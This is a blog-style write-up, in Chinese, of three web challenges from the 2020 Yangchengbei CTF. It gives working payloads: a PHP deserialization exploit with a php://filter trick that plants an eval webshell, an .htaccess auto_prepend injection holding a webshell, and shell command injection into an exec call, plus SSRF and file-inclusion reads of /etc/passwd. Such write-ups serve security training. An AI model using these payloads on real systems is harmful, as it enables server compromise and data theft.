羊城杯2020web部分题解

EasySer

考点

  • PHP基础反序列化
  • SSRF文件读取
  • 死亡die绕过

难度

简单题

解题思路

题目首页是一个apache2安装后的默认页面,根据robots.txt可以获得一个路径。

Disallow: /star1.php/

访问该路径,有一个表单,以及一个提示。
image
经测试,这里需要用http协议进行访问,访问http://4b0fbb33-21b5-4eb1-9e4f-4fce29816fe8.node4.buuoj.cn:81/star1.php?path=http%3A%2F%2F127.0.0.1%2Fser.php,该页面会显示ser.php的源码。其源码内容如下:

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}
?>

可以看到是一个比较基础的反序列化,只需要将GWHT的hero参数设置为Yongen,Yongen的参数设置好位置和内容,即可写入文件。

利用该反序列化有两个问题,第一个问题是如何绕过文件写入时的$d = '<?php die("nononon");?>';,如果该部分代码在被写入的shell中执行,则后续的内容不会生效。

该问题的解决方法是,利用php://filter,在写入文件时使用string.strip.tags过滤器,这样原先的代码将不会生效。string.strip.tags过滤器的作用是去掉HTML和PHP标签,也可以借助base64-decode过滤器,写入一个base64编码后的shell代码,在利用该过滤器进行解码。

第二个问题是,反序列化好的内容通过哪个参数进行传递,在哪个文件进行触发。这里借助了Arjun工具进行参数爆破,发现了参数c。Arjun显示发现c的原理是根据响应的body的长度,后续通过分析代码发现,不设置参数c会显示一句话,存在参数c就不会显示任何内容,所以的确是可以根据响应长度来发现参数。
image

涉及到参数c的代码

if(isset($c)){
        echo $x = unserialize($c);
    }
    else{
        echo "your hat is too black!";
    }

exp

<?php
class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yongen;
    }
}
class Yongen{
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
        $this -> text = "PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+";
    }
}
$a = new GWHT();
echo  urlencode(serialize($a));
?>

payload

/star1.php?path=http%3A%2F%2F127.0.0.1%2Fstar1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2B%22%3B%7D%7D

随后连接写入的shell,即可找到并读取flag。

easyphp

考点

  • .htaccess

难度

  • 简单题

解题思路

首先来看题目源码:

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

可以看到,当前页面需要一个filename和content参数来写入一个文件,文件名要求是只能有字母和小数点,content的内容做了一定的限制。可以很容易的想到,写入一个php一句话木马,然后连接获取shell和flag。然后发现并没有解析,应该是进行了相关设置。

image

除了php文件,还可以考虑写入.htaccess文件,content的内容可以写为以下内容。最后一行的\是为了将Hello, world的内容视为与php代码同一行,防止破坏.htaccess文件的语法,导致解析出错。

php_value auto_prepend_fil\
e .htaccess
#<?php eval($_POST[a]);?>\

写入上述内容后,蚁剑连接index.php即可得到flag。

payload

content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20eval(%24_POST%5Ba%5D)%3B%3F%3E%5C&filename=.htaccess

easyphp2

考点

  • 文件包含

难度

简单题

解题思路

进入题目首页,可以看到参数?file=GWHT.php,很容易让人想到进行文件包含。经过测试,确实可以读到文件,比如/etc/passwd。
image
随后用php://filter伪协议进行测试,发现base64和rot13均被禁止,会显示:

G0-OUT
hacker!

这里怀疑也可能是php://filter被禁止,不过也可以试试有没有base64、rot13以外的过滤器。

最终通过查阅文档https://www.php.net/manual/en/function.stream-get-filters.php,发现确实有其他过滤器。
image
本文利用了quoted-printable,可以将网页中的内容经过编码以后进行显示。
image
将上述内容在进行解码,可以得到其源代码,下面展示下比较核心的部分。

<?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
                die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

可以看到,代码中对cookie的pass字段和count字段进行了一些处理。首先需要将cookie的pass设置为GWHT,后面的代码才能执行。count部分可以发现执行了命令,因此我们可以对命令进行拼接,需要注意的该参数被过滤了,因此要注意不使用被过滤的内容。

原命令为如下形式:

printf 'xxxx' |wc -c

该命令用来统计xxx的字数。我们可以将其设置为:%s%s' `ls` '' || echo 's,使用||是为了让后面的命令不需要在被执行,因为前面的命令可以执行成功。

这样,我们就可以获得当前的目录信息,并通过修改ls后面的参数来找到flag的目录。最终发现无法读取flag,应该是对权限进行了限制。后面通过写入web shell连接蚁剑,发现确实是进行了权限控制。

尽管无法直接读文件中的flag,但buu的环境中,env存储了flag,因此使用%s%s' `env` '' || echo 's即可获取flag。
image

以上是拼接命令获取flag,也可以通过写入webshell的方式来获得。虽然过滤限制了<?php标签,但是这个题恰好能使用短开标签<?=,因为可以借助该标签写入webshell。

前面提到系统中有一个flag文件不能读,也有解决办法,可以执行一个类似
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'的命令,切换到GWHT用户来得到flag,其中密码GWHTCTF是根据/GWHT/system/README提供的密码hash解码得到的。

posted @ 2022-03-05 00:20  b1u3s  阅读(377)  评论(0编辑  收藏  举报